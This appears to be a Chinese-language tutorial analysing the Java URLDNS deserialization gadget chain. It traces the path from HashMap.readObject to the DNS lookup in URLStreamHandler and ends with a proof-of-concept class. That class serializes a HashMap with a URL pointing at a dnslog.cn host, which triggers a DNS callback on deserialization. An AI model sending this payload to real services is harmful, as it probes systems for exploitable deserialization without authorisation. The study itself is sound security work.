该反序列化的入口类是java.util.HashMap
,它实现了Serializable接口
通过HashMap类的反序列化可以触发DNS查询
这是一个内置类无需第三方库即可验证,同时也可以验证无回显时反序列化是否成功
java.util.HashMap.readObject(); java.util.HashMap.putVal(); java.util.HashMap.hash(); java.net.URL.hashCode(); java.net.URLStreamHandler.hashCode(); java.net.URLStreamHandler.getHostAddress();
HashMap类方法声明了反序列化方法private void readObject(java.io.ObjectInputStream s)
,这是我们的入口方法
private void readObject(java.io.ObjectInputStream s) throws IOException, ClassNotFoundException { // Read in the threshold (ignored), loadfactor, and any hidden stuff s.defaultReadObject(); reinitialize(); if (loadFactor <= 0 || Float.isNaN(loadFactor)) throw new InvalidObjectException("Illegal load factor: " + loadFactor); s.readInt(); // Read and ignore number of buckets int mappings = s.readInt(); // Read number of mappings (size) if (mappings < 0) throw new InvalidObjectException("Illegal mappings count: " + mappings); else if (mappings > 0) { // (if zero, use defaults) // Size the table using given load factor only if within // range of 0.25...4.0 float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f); float fc = (float)mappings / lf + 1.0f; int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ? DEFAULT_INITIAL_CAPACITY : (fc >= MAXIMUM_CAPACITY) ? MAXIMUM_CAPACITY : tableSizeFor((int)fc)); float ft = (float)cap * lf; threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ? (int)ft : Integer.MAX_VALUE); @SuppressWarnings({"rawtypes","unchecked"}) Node<K,V>[] tab = (Node<K,V>[])new Node[cap]; table = tab; // Read the keys and values, and put the mappings in the HashMap for (int i = 0; i < mappings; i++) { @SuppressWarnings("unchecked") K key = (K) s.readObject(); @SuppressWarnings("unchecked") V value = (V) s.readObject(); putVal(hash(key), key, value, false, false); } } }
最后的for循环循环读取了键值,然后利用putVal()
存入HashMap,注意对键进行了hash()
;判断非空,然后调用key.hashCode()
,追一下
这个方法会根据传入的参数调用,我们传入的是一个URL,因此调用的是java.net.URL
类的方法。
然后要使得hashCode==-1,进入handler.hashCode(this)
之后进入handler.hashCode(this)
调用getHostAddress(u)
就会触发DNS查询了
handler.hashCode(this)
我们要序列化的HashMap对象,泛型K为URL、V为String
给HashMap写入URL对象,可以通过HashMap的put方法,键是URL,值是任意String
要修改hashCode的值,于是就想到用反射来修改,因此POC先建立了反射
注意到put方法也调用了putVal,因此在序列化生成字符串的时候也会触发dns查询,要避免是生成时触发,就要避免触发,因此想到了先给url的hashCode赋值为非-1,跳过触发,put写入后再修改为-1,这样只会在反序列化的时候触发了。因为这里put是引用传值,可以再次修改hashCode。
package urldns; import java.io.*; import java.lang.reflect.Field; import java.util.HashMap; import java.net.URL; public class SerializationURLDNS { public static void main(String[] args) throws Exception { HashMap<URL, String> hashMap = new HashMap<URL, String>(); URL url = new URL("http://tuwvrl.dnslog.cn/"); Field f = URL.class.getDeclaredField("hashCode"); f.setAccessible(true); f.set(url, 1); hashMap.put(url, "foo"); f.set(url, -1); File file = File.createTempFile("temp",".out"); ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(file)); oos.writeObject(hashMap); ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file)); ois.readObject(); file.deleteOnExit(); } }